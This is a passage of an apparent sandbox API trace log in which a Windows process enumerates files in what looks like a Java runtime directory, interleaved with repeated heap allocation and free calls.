(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.040] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0088.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1 [0088.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1 [0088.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.044] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1 [0088.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.045] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpioji.dll", cAlternateFileName="")) returned 1 [0088.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.047] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1 [0088.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.048] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1 [0088.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.050] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0088.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.051] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0088.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.053] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0088.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.055] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0088.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0088.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.058] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0088.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.059] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0088.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.060] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0088.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.062] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1 [0088.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.063] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1 [0088.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.064] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="")) returned 1 [0088.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.066] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="")) returned 1 [0088.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.080] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0088.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.081] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0088.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.083] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0088.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.084] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="")) returned 1 [0088.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.085] RtlFreeHeap (HeapHandle=0x940000, 